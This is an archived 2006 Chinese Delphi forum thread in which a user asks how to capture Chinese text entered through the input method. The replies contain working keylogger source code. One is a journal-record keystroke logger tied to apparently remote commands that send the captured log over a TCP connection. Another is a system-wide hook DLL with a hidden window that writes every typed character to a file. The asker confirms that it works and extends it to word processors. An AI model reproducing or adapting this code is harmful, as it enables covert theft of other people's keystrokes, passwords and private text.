高手帮忙，请问如何拦截中文输入?(100分)

glldc · 2006-07-29

请问如何拦截到输入的中文文字？如果用hook拦截键盘的话，则只能得到输入的英文字母，不能得到输入的中文。如何才能正确拦截到输入的中文？ 在网上找到一个例子，但我运行时不能拦截到任何信息，请高手帮忙看看哪里出了问题，谢！ unit Unit1; interface uses  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,  Dialogs, StdCtrls,Imm; type  TForm1 = class(TForm)    Edit1: TEdit;    procedure FormCreate(Sender: TObject);  private    { Private declarations }  public    { Public declarations }  end; var  Form1: TForm1;  HOOK:integer; implementation {$R *.dfm} procedure Proc(var Message: TMessage); var  hIMC: Integer;  dwSize: Integer;  hstr: Integer;  lpstr: Pointer; begin  if Message.Msg = WM_IME_COMPOSITION then begin    if (Message.lParam and GCS_RESULTSTR) <> 0 then begin      hIMC := ImmGetContext(GetFocus);      dwSize := ImmGetCompositionString(hIMC, GCS_RESULTSTR, nil, 0);      dwSize := dwSize + sizeof(WCHAR);      hstr := GlobalAlloc(GHND,dwSize);      lpstr := GlobalLock(hstr);      ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);      ImmReleaseContext(GetFocus, hIMC);      //SaveStrToFile(lpstr);//保存函数你自己写吧      showmessage('拦截成功');    end;  end; end; function GetMsgProc(Code: Integer; WParam: WParam; LParam: LParam): LRESULT; stdcall; var  theMsg: TMessage; begin  Result := 0;  if Code < 0 then begin    Result := CallNextHookEx(HOOK, Code, WParam, LParam);    Exit;  end;  if Code = HC_ACTION then begin    if (PMsg(LParam).message = WM_IME_COMPOSITION) then begin      theMsg.Msg := PMsg(LParam).message;      theMsg.WParam := PMsg(LParam).wParam;      theMsg.LParam := PMsg(LParam).lParam;      Proc(theMsg);    end;    Result := CallNextHookEx(HOOK, Code, WParam, LParam);  end end; procedure TForm1.FormCreate(Sender: TObject); begin  Hook:=SetWindowsHookEx(WH_GETMESSAGE, @GetMsgProc, HInstance,0); end; end.

大狗熊 · 2006-07-29

首先是： var LogHook: HHook = 0; HookList: TStringList; 函数： function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall; var  ch: Char;  vKey: Integer;  FocusWnd: HWND;  Title: array[0..255] of Char;  str: array[0..12] of Char;  TempStr, Time: string;  LogFile: TextFile;  PEvt: ^EVENTMSG;  iCapital, iNumLock, iShift: Integer;  bShift, bCapital, bNumLock: Boolean; begin  if iCode < 0 then  begin    Result := CallNextHookEx(LogHook, iCode, wParam, lParam);    exit;  end;  if (iCode = HC_ACTION) then  begin    pEvt := Pointer(DWord(lParam));    FocusWnd := GetActiveWindow;    if LastFocusWnd <> FocusWnd then    begin      if hookkey<>'' then        begin          HookList.Add(hookkey);          hookkey :='';        end;      HookList.Add('======End=====');      HookList.Add('=====begin====');      GetWindowText(FocusWnd, Title, 256);      LastFocusWnd := FocusWnd;      Time := DateTimeToStr(Now);      HookList.Add(Time + Format('Title:%s', [Title]));    end;    if pEvt.message = WM_KEYDOWN then    begin      vKey := LOBYTE(pEvt.paramL);      iShift := GetKeyState($10);      iCapital := GetKeyState($14);      iNumLock := GetKeyState($90);      bShift := ((iShift and KeyMask) = KeyMask);      bCapital := ((iCapital and 1) = 1);      bNumLock := ((iNumLock and 1) = 1);      //HookList.Add('这是vKey:'+inttostr(vKey));      if ((vKey >= 48) and (vKey <= 57)) then        begin          if not bShift then            begin              ch := Char(vKey);            end else begin              case vKey of                48: ch := ')';                49: ch := '!';                50: ch := '@';                51: ch := '#';                52: ch := '$';                53: ch := '%';                54: ch := '^';                55: ch := '&';                56: ch := '*';                57: ch := '(';              end;           end;         hookkey:=hookkey+ch;       end;      if (vKey >= 65) and (vKey <= 90) then // A-Z a-z      begin        if not bCapital then        begin          if bShift then            ch := Char(vKey)          else            ch := Char(vKey + 32);        end        else begin          if bShift then            ch := Char(vKey + 32)          else            ch := Char(vKey);        end;        hookkey:=hookkey+ch;      end;      if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9        if bNumLock then        hookkey:=hookkey+Char(vKey - 96 + 48);      ch:='n';      if (VKey > 105) and (VKey <= 111) then      begin        case vKey of          106: ch := '*';          107: ch := '+';          109: ch := '-';          111: ch := '/';        else          ch := 'n';        end;      end;      if (vKey >= 186) and (vKey <= 222) then // 其他键      begin        case vKey of          186: if not bShift then ch := ';' else ch := ':';          187: if not bShift then ch := '=' else ch := '+';          188: if not bShift then ch := ',' else ch := '<';          189: if not bShift then ch := '-' else ch := '_';          190: if not bShift then ch := '.' else ch := '>';          191: if not bShift then ch := '/' else ch := '?';          192: if not bShift then ch := '`' else ch := '~';          219: if not bShift then ch := '[' else ch := '{';          220: if not bShift then ch := '/' else ch := '|';          221: if not bShift then ch := ']' else ch := '}';          222: if not bShift then ch := Char(27) else ch := '"';        else          ch := 'n';        end;      end;      if ch <> 'n' then      hookkey:=hookkey+ ch;      // if (wParam >=112 && wParam<=123) // 功能键   [F1]-[F12]      if (vKey >= 8) and (vKey <= 46) then //方向键      begin        ch := ' ';        case vKey of          8: str := '[退格]';          9: str := '[TAB]';          13: str := '[Enter]';          32: str := '[空格]';          33: str := '[PageUp]';          34: str := '[PageDown]';          35: str := '[End]';          36: str := '[Home]';          37: str := '[LF]';          38: str := '[UF]';          39: str := '[RF]';          40: str := '[DF]';          45: str := '[Insert]';          46: str := '[Delete]';        else          ch := 'n';        end;        if ch <> 'n' then        begin          //if PrvChar<>Char(vKey) then          //begin            hookkey :=hookkey+str;          // PrvChar := Char(vKey);          //end;        end;      end;   end ; {     else      if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then      begin        if hookkey<>'' then          begin            HookList.add(Hookkey);            hookkey:='';          end;        if pEvt.message = WM_LBUTTONDOWN then          TempStr := '鼠标左键: '        else          TempStr := '鼠标右键: ';        HookList.Add(TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));      end;    //CloseFile(LogFile);  }  end;  Result := CallNextHookEx(LogHook, iCode, wParam, lParam); end; /////////////////////////////////////////////////////////////////////////////////////  if StrTmpList[1]='039' then   begin   {启动键盘记录}     if LogHook = 0 then       begin         Request:='Cmd009';           //启动键盘记录成功!查看记录前请先终止键盘记录!         LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);       end else begin         Request:='Cmd010';           //键盘记录已经启动过了!       end;     if Request='' then Request:='Cmd011';      //启动键盘记录成功!查看记录前请先终止键盘记录!     SendStreamToClient(IdTCPClient1,'011',Request);     Exit;  end; {------------------------------------}  if StrTmpList[1]='040' then   begin   {终止键盘记录}     try       if LogHook <> 0 then         begin           UnhookWindowsHookEx(LogHook);           LogHook := 0;           HookList.Add(Hookkey);           HookList.Add('*********End**********');           Hookkey:='';         end;     except     end;     Request:='Cmd012';      //终止键盘记录成功!     SendStreamToClient(IdTCPClient1,'011',Request);     Exit;  end; {------------------------------------}  if StrTmpList[1]='041' then   begin   {查看键盘记录}     Request:=HookList.Text;     if Request='' then     begin       Request:='NULL';  //键盘记录为空.     end;     SendStreamToClient(IdTCPClient1,'018',Request);     Exit;  end; {------------------------------------}  if StrTmpList[1]='042' then   begin   {清空键盘记录}     try       HookList.Clear;     except     end;     Request:='Cmd014';      //清空键盘记录完成!     SendStreamToClient(IdTCPClient1,'011',Request);     Exit;  end; function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall; 这是一个钩子的回调函数。当用下边用SetWindowsHookEx安装了一个WH_JOURNALRECORD类型的钩子成功后， 就会调用这个回调函数，也就是执行回调函数的功能 WH_JOURNALRECORD 类型的钩子用来监视和记录输入事件。典型的，可以使用这个Hook记录连续的鼠标和键盘事件， 然后通过使用WH_JOURNALPLAYBACK Hook来回放。WH_JOURNALRECORD 钩子是全局钩子，它不能象线程特定钩子一样使用。 像黑洞那样的能记录下输入的汉字和字符的一般都是安装WH_GETMESSAGE类型的钩子 然后用回调函数过滤出英文字符和汉字。

glldc · 2006-07-29

请问如何安装WH_GETMESSAGE类型钩子？

weiliu · 2006-07-29

library GetKey; uses windows,messages,sysutils; {$r *.res} const HookMemFileName='HookMemFile.DTA'; type PShared=^TShared; PWin=^TWin; TShared = record   HHGetMsgProc:HHook;   HHCallWndProc:HHook;   Self:integer;   Count:integer;   hinst:integer; end; TWin = record   Msg:TMsg;   wClass:TWndClass;   hMain:integer; end; var MemFile:THandle; Shared

Shared; Win:TWin; procedure SaveInfo(str:string);stdcall; var f:textfile; begin assignfile(f,'c:/key.txt'); if fileexists('c:/key.txt')=false then rewrite(f) else append(f); if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'') else write(f,str); closefile(f); end; procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall; begin if (uMessage=WM_CHAR) and (lParam<>1) then begin   SaveInfo(format('%s',[chr(wparam and $ff)]));   inc(shared^.count);   if shared^.count>60 then   begin     SaveInfo('#13#10');     shared^.count:=0;   end; end; if (uMessage=WM_IME_CHAR) then begin   SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));   inc(shared^.count,2); end; end; function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var pcs

MSG; hd,uMsg,wP,lP:integer; begin pcs:=PMSG(lParam); if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then begin   hd:=pcs^.hwnd;   uMsg:=pcs^.message;   wp:=pcs^.wParam;   lp:=pcs^.lParam;   HookProc(hd,uMsg,wp,lp); end; Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam); end; function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var pcs

CWPSTRUCT; hd,uMsg,wP,lP:integer; begin pcs:=PCWPSTRUCT(lParam); if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then begin   hd:=pcs^.hwnd;   uMsg:=pcs^.message;   wp:=pcs^.wParam;   lp:=pcs^.lParam;   HookProc(hd,uMsg,wp,lp); end; Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam); end; procedure SetHook(fSet:boolean); begin with shared^ do if fSet=true then begin   if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);   if HHCallWndProc=0 then   begin     HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);     if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);   end; end else begin   if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);   if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);   HHGetMsgProc:=0;   HHCallWndProc:=0; end; end; procedure Extro; begin UnmapViewOfFile(Shared); CloseHandle(MemFile); end; function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall; begin Result:=DefWindowProc(hWnd,Msg,wParam,lParam); case Msg of wm_destroy:   begin     SetHook(False);     ExitThread(0);     freelibrary(shared^.hinst); //      TerminateThread();     //exitprocess(0);   end; end; end; procedure run;stdcall; begin win.wClass.lpfnWndProc:=   @WindowProc; win.wClass.hInstance:=     hInstance; win.wClass.lpszClassName:='GetKey'; RegisterClass(win.wClass); win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil); FillChar(Shared^,SizeOf(TShared),0); shared^.self:=win.hmain; shared^.hinst:=hinstance; SetHook(true); postmessage(findwindow('WinExec',nil),wm_destroy,0,0); while(GetMessage(win.Msg,win.hmain,0,0))do begin   TranslateMessage(win.Msg);   DispatchMessage(win.Msg); end; end; procedure DllEntryPoint(fdwReason

WORD); begin case fdwReason of DLL_PROCESS_DETACH:   Extro; end; end; exports run; begin //建立内存映象文件，用来保存全局变量 MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName); Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0); DLLProc:=@DllEntryPoint; end.

glldc · 2006-07-29

多谢weiliu，按你的代码可以拦截到英文字符和中文字符，真是太好了。[

] 但有一点，这个程序在word、写字板不能拦截到任何字符，在记录薄中可以拦截到任何字符。可不可以改成在word、wps、写字板等编辑软件都可以拦截到中文字符？[

]

glldc · 2006-08-02

经过修改，现在可以了。

高手帮忙，请问如何拦截中文输入?(100分)

glldc

Unregistered / Unconfirmed

大狗熊

Unregistered / Unconfirmed

glldc

Unregistered / Unconfirmed

weiliu

Unregistered / Unconfirmed

glldc

Unregistered / Unconfirmed

glldc

Unregistered / Unconfirmed

Similar threads